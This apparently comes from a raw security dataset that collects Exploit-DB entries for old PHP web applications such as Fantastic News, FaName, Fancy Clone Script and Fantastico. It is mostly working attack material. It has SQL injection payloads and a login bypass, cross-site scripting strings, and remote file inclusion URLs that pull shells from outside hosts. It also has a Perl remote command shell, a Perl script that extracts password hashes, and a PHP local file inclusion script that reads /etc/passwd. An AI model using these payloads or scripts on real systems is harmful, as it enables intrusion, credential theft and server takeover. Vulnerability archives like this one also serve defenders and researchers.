deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14186
Description: Family Connections Who is Chatting AddOn - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-07-03
Author: lumut--

Exploit:
*=======================================================
Who is Chatting 2.2.3 Remote File Include Vulnerability
=======================================================

# Author         : lumut--
# Script Details : http://www.familycms.com/downloads/details.php?file=50
# Bugs           :

<?
$chat_inc = $TMPL[\'path\'] . \"inc/chatting_inc.php\";
include_once ($chat_inc);
?>

# Expl: http://server/mod_chatting/themes/default/header.php?TMPL[path]=[shell]

# Greetz & Thanks: cr4wl3r, team_elite, kisame, virusfree, doniskynet,
manadocoding*
Exploit-DB #7248
Description: Family Project 2.x - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-27
Author: The_5p3ctrum

Exploit:
--------------------------------------Mor0ccan nightamres---------------------------------------------
Script     : familyproject

V3rs!0n    : 2.0

Download   : http://www.mjcreation.fr/familyproject/

Auth0r    : The_5p3ctrum
-----------------------------------------------------------------------------------

demo Exploit    :

http://www.mjcreation.fr/familyproject/demo/index.php

login : ' or 1=1 or 'r
pass  : ' or 1=1 or 'r

-----------------------------------------------------------------------------------

Greets :

str0ke  ,  Bayhay  ,  Cyber-Zone  , Mor0ccan nightamres

-----------------------------------------------------------------------------------

# milw0rm.com [2008-11-27]
Exploit-DB #32004
Description: FaName 1.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-30
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/30019/info

FaName is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks

FaName 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[FANAME-DIRECTORY]/index.php?key="><script>alert(document.cookies)</script> http://www.example.com/[FANAME-DIRECTORY]/index.php?desc="><script>alert(document.cookies)</script>
Exploit-DB #32005
Description: FaName 1.0 - 'page.php?name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-30
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/30019/info
 
FaName is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks
 
FaName 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[FANAME-DIRECTORY]/page.php?name=<script>alert(document.cookies)</script>
Exploit-DB #43941
Description: Fancy Clone Script - 'search_browse_product' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-02
Author: 8bitsec

Exploit:
# Exploit Title: Fancy Clone Script - 'search_browse_product' SQL Injection
# Date: 2018-01-31
# Exploit Author: 8bitsec
# Vendor Homepage: https://pofitec.com/
# Software Link: https://pofitec.com/fancy-clone-script.php
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.13.3]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2018-01-31

Product & Service Introduction:
===============================
Laravel Ornate is a Multi vendor Social Ecommerce marketplace script inspired from the world famous peer to peer marketplace like Fancy and Etsy.

Technical Details & Description:
================================

SQL injection on [search_browse_product] POST parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/browse_product

Parameter: search_browse_product (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: _token=85OAJbaUmUUlBFOL1Yf0F82wp0ROTiBwgG2syHHe&search_browse_product=alloy%' AND 2261=2261 AND '%'='

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: _token=85OAJbaUmUUlBFOL1Yf0F82wp0ROTiBwgG2syHHe&search_browse_product=alloy%' AND EXTRACTVALUE(7589,CONCAT(0x5c,0x71717a6271,(SELECT (ELT(7589=7589,1))),0x[PII_REDACTED])) AND '%'='

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: _token=85OAJbaUmUUlBFOL1Yf0F82wp0ROTiBwgG2syHHe&search_browse_product=alloy%' AND SLEEP(5) AND '%'='

    Type: UNION query
    Title: Generic UNION query (NULL) - 26 columns
    Payload: _token=85OAJbaUmUUlBFOL1Yf0F82wp0ROTiBwgG2syHHe&search_browse_product=alloy%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71717a6271,0x6d466b6977594d6d6c626c746e6f515674706e7a[PII_REDACTED]68526a484455594e5a426a46484b70,0x[PII_REDACTED]),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Itxn

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #45763
Description: Fantastic Blog CMS 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-02
Author: Ihsan Sencan

Exploit:
# Exploit Title: Fantastic Blog CMS 1.0 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-11-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/ronald-ronniem/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Ronald%20Ronnie/fantasticblog_0.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/single.php?id=[SQL]
# 
#[PATH]/single.php
#....
#04 $id=$_REQUEST['id']; $query="SELECT * from blogs where id='".$id."'"...........
#05 $row = mysqli_fetch_assoc($result);
#....
GET /[PATH]/single.php?id=%2d%34%27%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%28%53%45%4c%45%43%54%20%47%52%4f%55%50%5f%43%4f%4e%43%41%54%28%74%61%62%6c%65%5f%6e%61%6d%65%20%53%45%50%41%52%41%54%4f%52%20%30%78%33%63%36%32%37%32%33%65%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%54%41%42%4c%45%5f%53%43%48%45%4d%41%3d%44%41%54%41%42%41%53%45%28%29%29%2c%35%2c%36%2c%37%2c%38%2c%39%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 01 Nov 2018 08:42:57 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/category.php?id=[SQL]
# 
#[PATH]/category.php
#....
#04 $id=$_REQUEST['id']; $query="SELECT * from blog_categories where id='".$id."'"...........
#05 $row = mysqli_fetch_assoc($result);?>
#....
GET /[PATH]/category.php?id=%2d%34%27%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%28%53%45%4c%45%43%54%20%47%52%4f%55%50%5f%43%4f%4e%43%41%54%28%74%61%62%6c%65%5f%6e%61%6d%65%20%53%45%50%41%52%41%54%4f%52%20%30%78%33%63%36%32%37%32%33%65%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%54%41%42%4c%45%5f%53%43%48%45%4d%41%3d%44%41%54%41%42%41%53%45%28%29%29%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __atuvc=1%7C44; __atuvs=5bd96b11114f485b000
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 01 Nov 2018 08:46:57 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #28206
Description: Fantastic Guestbook 2.0.1 - 'Guestbook.php' HTML Injection
Type: webapps
Platform: php
Date: 2006-07-11
Author: omnipresent

Exploit:
source: https://www.securityfocus.com/bid/18942/info

Fantastic GuestBook is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

If a malicious people go into the sign in form and put in the fields First Name, Last Name and Nick Name a code like this: <script>alert("XSS")</script> when you load the page http://www.example.com/[path]/guestbook.php or you read the messages of the guestbook you will se a pop-up that "say" 'XSS'. ]
Exploit-DB #27321
Description: Fantastic News 2.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2006-02-27
Author: SAUDI

Exploit:
source: https://www.securityfocus.com/bid/16842/info

Fantastic News is prone to an SQL-injection vulnerability. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Fantastic News 2.1.1 is affected.

http://www.example.com/news.php?page=|sql
Exploit-DB #1553
Description: Fantastic News 2.1.2 - 'script_path' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-03-04
Author: uid0

Exploit:
#!/usr/bin/perl
##
# Fantastic News v2.1.2 (and possibly below) Remote Command Execution 
# Bug Found By uid0 Exploit Coded by Zod
## 
# (c) 2006
# ExploiterCode.com
##
# usage:
# perl FNews.pl <location of Fantastic News> <cmd shell location <cmd shell variable>
#
# perl FNews.pl http://site.com/FNews/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: zodiac, nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, and everyone else!
##
# Contact: www.exploitercode.com irc.exploitercode.com
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
	print "[shell] \$";
while(<STDIN>)
        {
                $cmd=$_;
                chomp($cmd);
         
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'archive.php?CONFIG[script_path]='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
	{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.+)<br.\/>.<b>Fatal.error/)
{
	$finreturn = $1;
	$finreturn=~ tr/[ê]/[\n]/;
	print "\r\n$finreturn\n\r";
	last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " * Fantastic News v2.1.2 Remote Command Execution by ExploiterCode.com *\r\n";   
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: FNews.pl <Site> <cmd shell> <cmd variable>\r\n\n";
 print " <Site> - Full path to M - Phorum e.g. http://www.site.com/FNews/ \r\n";
 print " <cmd shell> - Path to Cmd Shell e.g http://www.site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "		  -=Coded by Zod, Bug Found by uid0=-\r\n";
 print "	www.exploitercode.com irc.exploitercode.com #exploitercode\r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-03-04]
Exploit-DB #2221
Description: Fantastic News 2.1.3 - 'script_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-19
Author: SHiKaA

Exploit:
#==============================================================================================
#Fantastic News <= v2.1.3 (CONFIG[script_path]) Remote File Inclusion Exploit
#===============================================================================================
#                                                                            
#Critical Level : Dangerous                                                  
#                                                                            
#Venedor site : http://fscripts.com/              
#                                                                              
#Version : v2.1.2 & v2.1.3                                                  
#                                                                
#================================================================================================
#
#Dork : "Powered by Fantastic News v2.1.2" or "Powered by Fantastic News v2.1.3"
#
#================================================================================================
#
#Bug in : news.php
#
#Vlu Code :
#--------------------------------
#  require_once($CONFIG['script_path']."config.php");
#  require_once($CONFIG['script_path']."functions/functions.php");
#  require_once($CONFIG['script_path']."functions/mysql.php");
#  require_once($CONFIG['script_path']."functions/template.php");
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/news.php?CONFIG[script_path]=http://SHELLURL.COM?
#
#Example :
#   http://fscripts.com/ ====> vendor site =)) hahahahaaaaaa ====>    2.1.3
#   http://lnx.evanescencewebsite.com/PressArchive  =====>    2.1.2
#
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke XoRon Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf)
==================================================================================================

# milw0rm.com [2006-08-19]
Exploit-DB #2906
Description: Fantastic News 2.1.4 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-12-09
Author: Bl0od3r

Exploit:
#!perl
#Download:http://fscripts.com/download.php?file=1
use IO::Socket;
#dc3.dl.am
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
  $id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Error\n");
print "[~]Connecting!\n";
print "[~]Getting Data!\n";
print $socket "GET
".$path."/news.php?action=profile&id=-1%20UNION%20SELECT%201,2,3,4,5,password,1,2,3,4,5,6,7,8,9%20FROM%20fn_users%20WHERE%20user_id=".$id."/*
HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($ans=<$socket>) {
$ans=~ m/<td>(.*?)<\/td>/ && print
"--------------------------------------------\n[+]UserName:
$1\n[+]PassWord:";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "\n[+]Successed!";
 } else {
print "[-]Error";
   }
 }
sub header() {
print "\n";
print "#######################################\n";
print "#                                     #\n";
print "#            #  #####   #####         #\n";
print "#            #  #           #         #\n";
print "#         ####  #         ###         #\n";
print "#         #  #  #           #         #\n";
print "#         ####  #####   #####         #\n";
print "#                                     #\n";
print "#      fscripts.pl host /path/ 1      #\n";
print "#                                     #\n";
print "#######################################\n";
print "\n";
exit;
}
#dc3.dl.am
#---------------------
#bY dC³ - Crew ...

# milw0rm.com [2006-12-09]
Exploit-DB #3027
Description: Fantastic News 2.1.4 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-12-27
Author: Mr-m07

Exploit:
+-------------------------------------------------------------------------------------------
+ Fantastic News <== 2.1.4 (CONFIG[script_path]) Multiple Remote File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Vendor ............:  http://fscripts.com
+ Affected Software .: Fantastic News <== 2.1.4
+ Download ..........: http://fscripts.com/download.php?file=1
+ Dork ..............: Powered by Fantastic News v2.1.4
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: Mr-m07 <xp10[at]hotmail.com> Yee7 Team >- WwW.Yee7.com -<
+-------------------------------------------------------------------------------------------
+ Vulnerable Code:
+ =>>archive.php
+
+ on line('s)  16,17,18,19
+  =>>          require_once($CONFIG['script_path']."config.php");
+  =>>          require_once($CONFIG['script_path']."functions/functions.php");
+  =>>          require_once($CONFIG['script_path']."functions/mysql.php");
+  =>>          require_once($CONFIG['script_path']."functions/template.php");
+
+
+ =>>headlines.php
+ on line('s)  16,17,18,19
+  =>>          require_once($CONFIG['script_path']."config.php");
+  =>>          require_once($CONFIG['script_path']."functions/functions.php");
+  =>>          require_once($CONFIG['script_path']."functions/mysql.php");
+  =>>          require_once($CONFIG['script_path']."functions/template.php");
+
+
+ Proof Of Concept:
+ http://[target]/[path]/archive.php?CONFIG[script_path]=http://localhost/a.txt?
+ http://[target]/[path]/headlines.php?CONFIG[script_path]=http://localhost/a.txt?
+
+
+
+
+-------------------------------------------------------------------------------------------
+Thanx To:
+ Yee7 Team http://www.yee7.com
+ Alshikh
+ ShockShadow
+ Mr.HaCkEr
+ StarseviL
+ AssassiN
+ Star Reach
+
+
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-27]
Exploit-DB #26647
Description: Fantastic Scripts Fantastic News 2.1.1 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15622/info

Fantastic News is prone to an SQL injection vulnerability.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Fantastic News 2.1.1 and prior versions are affected. 

http://www.example.com/news.php?action=news&category=[SQL]
Exploit-DB #32632
Description: Fantastico - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-02
Author: Super-Crystal

Exploit:
source: https://www.securityfocus.com/bid/32578/info

Fantastico is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks. 

set_time_limit(0);
if(isset($_POST['sup3r'])) {
if(stristr(php_uname(),"2.6.") && stristr(php_uname(),"Linux")) {
$phpwrapper = '<?php
include_once("./language/".$_GET[sup3r].".php");
?>
';
fwrite($h,$prctl);
fclose($h);
$handle = fopen($_POST['php'], "w");
fwrite($handle, $phpwrapper);
fclose($handle);
echo "Building exploit...<br />";
echo "coding by Super-Crystal <br />";
echo "Cleaning up<br />";
echo "Done!<br />
</pre>";
} else {
echo "error : ".php_uname();
}
} else {
?>
<div align="center">
<h3>Deadly Script</h3>
<font color=red>Cpanel fantastico Privilege Escalation "ModSec and PHP restriction Bypass"</font><br />
<pre><div align="center">
</pre></div><br />
<table border="0" cellspacing="0">
<tr>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<table border="0" cellspacing="0">
<tr>
<td><div align="right">Exploit:</div></td>
<td>
<select name="exploit">
<option selected="selected">Cpanel fantastico Privilege Escalation "ModSec and PHP restriction Bypass"</option>
</select>
</td>
</tr>
<tr>
<td><div align="right">change</div></td>
<td><input type="text" name="php" size="50" value="<?php echo getcwd()."/language.php" ?>" /></td>
</tr>
<tr>
</table>
</div>
<input type="hidden" name="sup3r" value="doit" />
<input name="submit" type="submit" value="Submit" /><br />
1- change /home/[user]/.fantasticodata/language.php
<br />
2- click on the submit
<br />
3- now put it like this (e.g)
: http://www.xxxx.com:2082/frontend/x3/fantastico/index.php?sup3r=../../../../../../etc/passwd%00 .
<br />
<font color=red>Written: 10.10.2008</font><br />
<font color=blue>Public: 26.11.2008</font><br />
<div align="center">
<font color=red>Author : Super-Crystal</font><br />
<a href="http://www.arab4services.net">Arab4services.net </a></center>
</div>
</form>
<?php } ?>
Exploit-DB #35875
Description: FanUpdate 3.0 - 'pageTitle' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-06-22
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/48392/info

FanUpdate is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FanUpdate 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/header.php?pageTitle=%3C/title%3E%3Cscript%3Ealert%28123%29;%3C/script%3E
Exploit-DB #2678
Description: Faq Administrator 2.1 - 'faq_reply.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-29
Author: v1per-haCker

Exploit:
#==================================================================
#  Faq Administrator (RFI)
#==================================================================
# Info:-
#
# Scripts:  Faq Administrator
# http://www.campbus.com/downloads/faqadmin/faqadmin-current.tgz
# Version : 2.1b
# Dork & vuln : download scripts and think :)
#Note : if the shell included stop the page and do your work :)
#==================================================================
#Exploit :
#
#http://localhost/path/faq_reply.php?email=http://EvElCoDe.txt?
#
#==================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to :| abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL |
#                 ThE-WoLf-KsA | mohandko | fooooz | maVen | fucker_net |
#            metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota |
#And all members in XP10_hackEr Team
#Thanx to str0ke :)
#WWW.XP10.COM
#
#==================================================================

# milw0rm.com [2006-10-29]